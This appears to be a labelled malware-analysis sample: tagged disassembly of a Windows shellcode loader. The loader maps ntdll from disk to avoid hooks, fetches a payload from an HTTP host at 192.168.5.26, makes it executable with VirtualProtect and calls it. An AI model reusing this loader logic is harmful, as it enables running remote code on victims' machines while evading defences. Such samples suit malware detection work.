Function at 0x1400049b0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Read file via mapping
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x160]
sub rsp, 0x260
mov rax, qword [0x140071180]
xor rax, rsp
mov qword [rbp + 0x150], rax
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea r8d, [r12 + 5]
lea rdx, str.1.txt
lea rcx, [rsp + 0x40]
call fcn.140008cd0
nop
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x70]
call fcn.140050bc0
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140006040
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov ebx, dword [rbp + rcx - 0x80]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rbp - 0x80]
call fcn.140005d00
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x6c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x20], rax
lea rcx, [rbp + 0x20]
call fcn.140023828
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140004aed
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ae8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005046
call fcn.1400220a0
test ebx, ebx
je 0x14000500b
mov ecx, 0x7530
call fcn.1400376c4
mov rsi, rax
mov ebx, r12d
xor edx, edx
mov r8d, 0x7530
mov rcx, rax
call fcn.140050bc0
nop word [rax + rax]
mov r8d, ebx
xor edx, edx
lea rcx, str._d__d_n
call fcn.140001580
inc ebx
cmp ebx, 0x7530
jl 0x140004b20
mov ebx, r12d
mov rdi, rsi
movsx edx, byte [rdi]
mov r8d, ebx
lea rcx, str._d__d_n
call fcn.140001580
inc ebx
lea rdi, [rdi + 1]
cmp ebx, 0x1f4
jl 0x140004b41
mov rcx, rsi
call fcn.140036e34
call fcn.140004670
test al, al
jne 0x14000500b
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
lea rcx, str.c:windows_system32_ntdll.dll
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor edx, edx
mov r8d, 0x1000002
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov r15, rax
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rcx, rax
call fcn.140003be0
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x140], xmm1
mov r8d, 0x20
lea rdx, str.3fda739f93664372a0584b1395b408ec
lea rcx, [rbp + 0x130]
call fcn.140008cd0
nop
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xd0]
call fcn.140003e20
nop
lea rdi, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova rdi, qword [rbp + 0xd0]
mov rbx, qword [rbp + 0xe0]
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x100], xmm1
mov r8d, 0x20
lea rdx, str.http:__192.168.5.26:8000_666.txt
lea rcx, [rbp + 0xf0]
call fcn.140008cd0
nop
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x110]
call fcn.140004400
nop
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0xb0]
call fcn.140003ce0
nop
lea rdx, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 0xf
cmova rdx, qword [rbp + 0xb0]
mov qword [rsp + 0x20], rbx
mov r9, rdi
mov r8, qword [rbp + 0xc0]
lea rcx, [rbp + 0x90]
call fcn.140003f60
nop
mov qword [rsp + 0x60], r12
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x88], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
lea r9, [rbp + 0x88]
xor r8d, r8d
lea rdx, [rsp + 0x60]
call rsi
test eax, eax
js 0x140004df9
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x140076930], rax
lea rdx, [0x140003ab0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [0x140003b80]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rdx, qword [rbp + 0x90]
mov r8, qword [rbp + 0xa0]
mov rcx, qword [rsp + 0x60]
call fcn.140050520
lea r9, [rbp + 0x80]
mov r8d, 0x40
mov rdx, qword [rbp + 0x88]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [rsp + 0x60]
call fcn.140020ad0
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
call fcn.140021000
lea rdx, [0x140003a70]
lea rcx, [0x140076940]
call fcn.140020730
call fcn.140020b50
xor edx, edx
mov r8d, 0x8000
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140004e4d
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004e48
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000504c
call fcn.1400220a0
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], 0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x140004ea7
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ea2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005052
call fcn.1400220a0
mov qword [rbp + 0xc0], r12
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], 0
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x140004f01
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004efc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005058
call fcn.1400220a0
movdqa xmm0, xmmword [0x140065670]
movdqu xmmword [rbp + 0x120], xmm0
mov byte [rbp + 0x110], 0
mov rdx, qword [rbp + 0x108]
cmp rdx, 0xf
jbe 0x140004f59
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004f54
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000505e
call fcn.1400220a0
movdqa xmm0, xmmword [0x140065670]
movdqu xmmword [rbp + 0x100], xmm0
mov byte [rbp + 0xf0], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x140004fb1
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004fac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005064
call fcn.1400220a0
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], 0
mov rdx, qword [rbp + 0x148]
cmp rdx, 0xf
jbe 0x140005007
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005002
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005040
call fcn.1400220a0
xor eax, eax
jmp 0x140005010
mov eax, 1
mov rcx, qword [rbp + 0x150]
xor rcx, rsp
call fcn.140022080
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140033358
int3
call fcn.140033358
nop
call fcn.140033358
nop
call fcn.140033358
nop
call fcn.140033358
nop
call fcn.140033358
nop
call fcn.140033358
int3